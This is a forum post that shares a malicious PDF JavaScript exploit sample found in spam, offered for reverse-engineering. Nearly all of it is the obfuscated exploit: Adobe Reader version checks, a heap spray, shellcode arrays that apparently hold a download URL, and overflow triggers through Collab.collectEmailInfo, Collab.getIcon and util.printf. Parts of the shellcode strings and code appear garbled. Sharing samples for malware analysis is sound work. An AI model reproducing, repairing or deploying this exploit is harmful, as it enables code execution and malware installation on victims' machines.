int0
July 31st, 2009, 05:06
Decided to share some pdf exploit that I found yesterday in my spam over ICQ it might be interesting for those who reversing these PDF JS exploits.
These are Adobe Reader version checks
var ruNE9AoC its an array which holds shellcode with url.
PW for attachment "infected"
Code:
var l21PZz0Q = new Array();
var haZ0Rmde;
function s8oOpYtLG(ve9sKDVuey, yNnpk1Ya6) {
while (ve9sKDVuey.length * 2 < yNnpk1Ya6) {
ve9sKDVuey += ve9sKDVuey;
}
ve9sKDVuey = ve9sKDVuey.substring(0, yNnpk1Ya6 / 2);
return ve9sKDVuey;
}
function gdBvrtVkT(vGTSfY3ftC) {
if (vGTSfY3ftC == 0) {
var vOtVmM9Ws6 = 0x0c0c0c0c;
var ruNE9AoC = new Array('%u5350%', 'u5251%u', '5756', '5%', 'u0000%u', '5d00໘', '3̐', 'd擀', '003x', '30‹', '0c', '0炋%', 'uad1c%u', '408b%', 'ueb08‹', '09̈́', '0䂍', 'b7c㱀', '坖', 'ebe%', 'u0100', 'eŎ%u', '0000%', 'uef01
', '6e8%u', '0001%', 'u5f00', 'e自', '廂', '01R', '00', '068', '00', '0井%u', '0001‰', '00自', '', '2%u', '3100%u', '01f6', 'ac2͙', 'cɣ', '%', 'ufb80%u', '7400%', 'u8806', '21cິ', '6౮', 'e㈄%u', '8900%u', '81ea%', 'u45c2', '002Ԡ', '0闿%u', '0152', '00%u', 'c281%u', '0250', '00ԅ', '2闿', '156', '0j', '06a', 'a89슁%', 'u015e', '', '襒', '自x', 'c2', '刀', '6a', 'ff', '6a%u', 'c281%', 'u015e%', 'u0000', 'f52֩', '5', '褀', '自%', 'u5ec2%u', '0001刀', '聨', '%u', 'ff00%', 'u4e95%', 'u0001', '0自', '廂%', 'u0001%u', '3100', '6諂%u', '359c%', 'u026e', '%', 'ufb80݀', '0蠆%', 'u321c%', 'ueb46౮', 'e㈄%', 'u8900', '自%u', '45c2%', 'u0002%u', '5200闿', 'Œ', '', '0', '89', '281ɐ', '', '052%u', '95ffŖ', '', '0', 'a', '6a', 'న', '1', 'e', '襒%', 'u81ea
', '6c2%u', '0002刀', 'j%', 'ud0ff%u', '056a%u', 'ea89%', 'uc281', 'Ş%u', '0000%u', 'ff52֩', '5', '鴀%u', '5f5d֥', 'e[', '59썘%u', '0000', '00%', 'u0000', '%', 'u0000%', 'u0000', '', '0ٔ', '7呴%', 'u6d65', '偰', '461䅨', '䰀', '慯%', 'u4c64b', '69a', '72y', '72', '041ٔ', '7側%u', '6f72%u', '4163%', 'u6464e', '72ܷ', '3հ', '0湩%', 'u7845%', 'u6365', '00%u', 'f789%u', 'c030%', 'u75ae)', 'fd࢟', '7̟', '9뻀', '<%u', '0000%u', 'b503', '21b', '00굦', '蔃%u', '021b', '0炋', '378᳆%', 'ub503', '1b', '00', 'd', '1f', '00', '3adƸ', '5%u', 'ab00', '3adᮅ', '', '000궫', '蔃%', 'u021b', '00', 'eab�', '嚭', '503!', 'b', '욉%', 'ud789', 'c51੯', '3t', '59帄', '%u', '5ee9', '93', '3e0➅', '', '100–', 'f6', '6', '302ᾅ', '', '褀%', 'uadc6…', '03ț', '', 'c3%u', '0000', '0', '000', '00', '00%', 'u8900Ƹ', '5', '600', '857ｘ', '?^', '5fƫ%u', '80ce%u', 'bb3eɴ', '', '嗃L', '52', 'f4d.', '4eӄ', '4L%', 'u5255%', 'u444cw', '6fۆ', 'e慯', '464F', '6f汩%u', '4165%', 'u7500ه', '0瑡', 'e65', '865', '65牣', '獡%u', '2e68h', '70p%u', '7468灴', '˳', 'a愯%u', '6f64ٖ', '2甭%u', '6470݆', '1湩%', 'u2d67%u', '6573%', 'u7672%u', '6369', 'e65%u', '6e63%', 'u6e2f', 'c75', 'f6cp', '75ؖ', '4整%u', '702e܆', '8椿', '㵤', '0%u', '9000');
} else if (vGTSfY3ftC == 1) {
vOtVmM9Ws6 = 0x30303030;
var ruNE9AoC = new Array('卐', '251յ', '6鱕%u', '00e8', '00א', '0໘', '3ㄍ%u', '64c0', '003%u', '7830%u', '8b0c%u', '0c40p', '8b괜%u', '408b', '08謉%', 'u3440%', 'u408d%', 'u8b7c', '㱀W', '56庾%', 'u0001%u', '0100%', 'ubfee%u', '014e', '', 'e8', '01开', '襞%u', '81ea廂', '%u', '5200%u', '8068%u', '0000', 'ө', '5', '900自', '廂', '01%', 'u01f6%', 'u8ac2', '㖜', '263', '00ﮀ%', 'u7400%u', '8806', '21c', 'b46%u', 'c6ee㈄', '褀%u', '81ea%', 'u45c2', '02刀%u', '95ff%', 'u0152', '%u', 'ea89', '81ɐ%', 'u0000P', '52闿%', 'u0156%', 'u0000', '06aj', '', '슁', '5e', '00', '2自', '磂', '02刀%u', '006a%', 'ud0ff', 'ժ%u', 'ea89슁', 'Ş%', 'u0000', 'f52媕%', 'u0001%u', '8900ࠞ', 'a廂%u', '0001%u', '5200%u', '8068', 'N', '95%u', '8900%u', '81ea', '2', '01%u', '01f6%', 'u8ac2%', 'u359c%', 'u026e', '00ﮀ%', 'u7400ˆ', '06㈜', '', '౮', 'e㈄%', 'u8900%u', '81ea䗂', '', '2Ԡ', '0闿', 'Œ', '00', '89న', '1ɐ', '000P', '52闿%', 'u0156%', 'u0000', 'aj%', 'uea89%', 'uc281', '15e', '0襒', '1ea੬', '2', '刀', '6a', 'ffժ', '', '281', '15e%u', '0000', 'f52֩', '5', '鴀%u', '5f5d', 'a5e孙', '썘', '000%', 'u0000', '00', '0', '000%u', '0000%', 'u6547%', 'u5474', 'd65偰', '瑡%', 'u4168', 'c00', '16f䱤%', 'u6269', '172%u', '7972', '41敇%', 'u5074%u', '6f72䅣', '摤', '敲%', 'u7373', '700湩%', 'u7845', '365', '00', '89', '89쀰', '疮%u', '29fd觷', 'ㇹ', 'ec0', '3c', '딃', '21b', '000굦%', 'u8503%', 'u021b%', 'u0000܈', 'b荸%', 'u1cc6', '딃%u', '021b', '0', '8dȟ%u', '0000', '3adƸ', '5', '02ર', '0έ%', 'u1b85%u', '0002倀', '궫%', 'u8503!', 'b', '00ת', 'b�%', 'u56ad', '503ț%', 'u0000', '욉
', '789ﱑ%', 'ua6f3', '459^', '04', '43', 'ee9%u', 'd193%u', '03e0%u', '2785', '2%', 'u96f6', '6', 'c1', '302ᾅ', '%', 'u8900', '6蔃', 'ț', '000', '', '0', '00', '', '0', '', '000%u', '0000', '900Ƹ', '5', '2嘀', '', '58?', '幟', 'ƫ', '胎', '3eɴ%', 'uedebU', 'c3䱒%u', '4f4d%', 'u2e4e', '䱄', '04c剕%', 'u444cw', '6f', 'c6e慯%', 'u5464F', '6f汩%u', '4165ݐ', '0摰', '461%', 'u7865', '5牣', 'ܶ', '1%u', '6870', '070', '468灴', '˳', 'a愯', 'f64ٖ', '2ݒ', 'd摰%u', '7461%u', '6e69', 'd67敳%', 'u7672ض', '9%u', '6e63%', 'u6e2fۇ', '5⽬', '܇', '5慤', '574瀮%', 'u7068%', 'u693fϖ', '41 ', '000');
} else if (vGTSfY3ftC == 2) {
var ruNE9AoC = new Array('卐%u', '5251坖', '鱕%', 'u00e8', '0]', '00໘', '3ㄍ%u', '64c0', '003砰%', 'u8b0c%', 'u0c40܈', 'b', 'c䂋%u', 'eb08ࢰ', '9̈́', '0䂍%', 'u8b7c', '㱀W', '56庾%u', '0001Ā', '뿮%', 'u014e', '0', '훨%', 'u0001װ', '0襞%', 'u81ea%u', '5ec2', '01刀', '聨%', 'u0000', '00井%', 'u0001%', 'u8900%', 'u81ea', '', '2', '100', '1f6諂%', 'u359c', 'ɣ', '000', '80݀', '0ˆ', '06̡', 'c', '46웮%u', '3204', '900', '1ea䗂%', 'u0002', '200•', 'ffŒ%', 'u0000%u', 'ea89', '81', '50', '00偒', '闿', '56%', 'u006a', '06a', '89', '81Ş', '', '952自%', 'u78c2%u', '0002Ԡ', '0j%u', 'd0ff', '6a', 'a89%u', 'c281', '5e%u', 'ff52媕', '%', 'u8900ࠞ', 'a廂%', 'u0001', '200ࠆ', '8', '0', '0井', '001', '900自%', 'u5ec2%u', '00011', '00Ƕ', '諂%u', '359c&', 'e', '0', '80琀', '蠆', '21c', '웮2', '04‰', '00', '1ea䗂', '', '200•', 'ff', '152%', 'uea89', '281', '250%', 'u5052%', 'u95ff', '6', 'j%u', '006a', 'న', '1', '5e', '000', '952', 'ea
', '6c2', '刀%', 'u006a%', 'ud0ff', '56a', '89슁', 'Ş', '00', '2֩', '5', '01鴀%', 'u5f5d', 'a5e[', '59', '358', '000%', 'u0000', '', '000', '00%', 'u0000%', 'u6547%u', '5474浥', '偰%u', '7461䅨', '䰀', '慯L', '64扩%', 'u6172%', 'u7972%u', '0041%', 'u6547', '側%', 'u6f72', '䅣', '摤%u', '6572', '373հ', '0n', '69', '845c', '65', '00%', 'uf789', '30u', 'ae', '9fd觷%', 'u31f9%u', 'bec0', '3c', '0딃%', 'u021b', '*', '66ࡐ', '3!', 'b%u', '708bƒ', '78nj', '6', '3ț', '', 'd8d', '1f%u', '03adᮅ', '%', 'uab00', 'adᮅ', '%', 'u5000*', 'ab蔃', 'ț%u', '0000^', 'ab�%', 'u56ad%u', '8503%u', '021b', '0욉%', 'ud789', '࿅', '1꛳%u', '7459%u', '5e04%', 'ueb43', '廩%', 'ud193>', '0➅', '', '2%u', '96f6', '6', '̂', '85%u', '8900*', 'c6…', '03', '1b', '', '10', '00', '00', '000', '00', '%u', '0000%', 'u8900', 'b85', '02', '600', '', '8?', 'e5f', 'b胎', 'b3e', '74', '՜', '3䱒%', 'u4f4d%', 'u2e4e', 'ӄ', '4L%', 'u5255%', 'u444c%u', '776f汮', '慯', '呤F', '6f', 'c69䅥%', 'u7500%', 'u6470t', '61%', 'u7865%u', '0065ܦ', '3獡%', 'u2e68%', 'u6870', '70݆', '8灴%u', '2f3a%u', '612f%u', '6f64e', '62', '52dه', '0瑡', '湩-', '67敳%u', '7672ض', '9', '湣%u', '6e2f%', 'u6c75˶', 'c灵%', 'u6164%u', '6574%', 'u702e', '灨', '椿%u', '3d64', '32退');
}
ruNE9AoC = unescape(ruNE9AoC.join("");
var eAgmifDht = 0x400000;
var dHnF7FRmG = ruNE9AoC.length * 2;
var yNnpk1Ya6 = eAgmifDht - (dHnF7FRmG + 0x38);
var ve9sKDVuey = unescape("邐邐"
ve9sKDVuey = s8oOpYtLG(ve9sKDVuey, yNnpk1Ya6);
var n3zhysk5Q = (vOtVmM9Ws6 - 0x400000) / eAgmifDht;
for (var l3OI3a6WPr = 0; l3OI3a6WPr < n3zhysk5Q; l3OI3a6WPr++) {
l21PZz0Q[l3OI3a6WPr] = ve9sKDVuey + ruNE9AoC;
}
}
function u3YLEtn9() {
var dNCo7puf = 0;
var pzZx1DcVW = app.viewerVersion.toString();
app.clearTimeOut(haZ0Rmde);
if ((pzZx1DcVW >= 8 && pzZx1DcVW < 8.102) || pzZx1DcVW < 7.1) {
gdBvrtVkT(0);
var dVRPCBXpLP = unescape("ఌఌ"
while (dVRPCBXpLP.length < 44952) dVRPCBXpLP += dVRPCBXpLP;
var nB9GCOSZ = this;
var hOtfng08 = Collab;
nB9GCOSZ["collabStore"] = hOtfng08["collectEmailInfo"]({
subj: "",
msg: dVRPCBXpLP
});
}
if ((pzZx1DcVW >= 8.102 && pzZx1DcVW < 8.104) || (pzZx1DcVW >= 9 && pzZx1DcVW < 9.1) || pzZx1DcVW <= 7.101) {
try {
if (app.doc.Collab.getIcon) {
gdBvrtVkT(2);
var eYHmb5j5U = unescape("%09"
while (eYHmb5j5U.length < 0x4000) {
eYHmb5j5U += eYHmb5j5U;
}
eYHmb5j5U = "N." + eYHmb5j5U;
var bqVh0ejwx = app;
bqVh0ejwx["doc"]["Collab"]["getIcon"](eYHmb5j5U);
dNCo7puf = 1;
} else {
dNCo7puf = 1;
}
} catch(e) {
dNCo7puf = 1;
}
if (dNCo7puf == 1) {
if (pzZx1DcVW == 8.102 || pzZx1DcVW == 7.1) {
gdBvrtVkT(1);
var qc1ncdvp = "12999999999999999999";
for (vPTruT1d = 0; vPTruT1d < 276; vPTruT1d++) {
qc1ncdvp += "8";
}
var m4t4q0zGO = util;
m4t4q0zGO["printf"]("%45000f", qc1ncdvp);
}
}
}
}
app.m2B1rLly = u3YLEtn9;
haZ0Rmde = app.setTimeOut("app.m2B1rLly()", 10);
These are Adobe Reader version checks
Code:
var pzZx1DcVW = app.viewerVersion.toString();
...
if ((pzZx1DcVW >= 8.102 && pzZx1DcVW < 8.104) || (pzZx1DcVW >= 9 && pzZx1DcVW < 9.1) || pzZx1DcVW <= 7.101)
if ((pzZx1DcVW >= 8 && pzZx1DcVW < 8.102) || pzZx1DcVW < 7.1)
if (pzZx1DcVW == 8.102 || pzZx1DcVW == 7.1)
var ruNE9AoC its an array which holds shellcode with url.
PW for attachment "infected"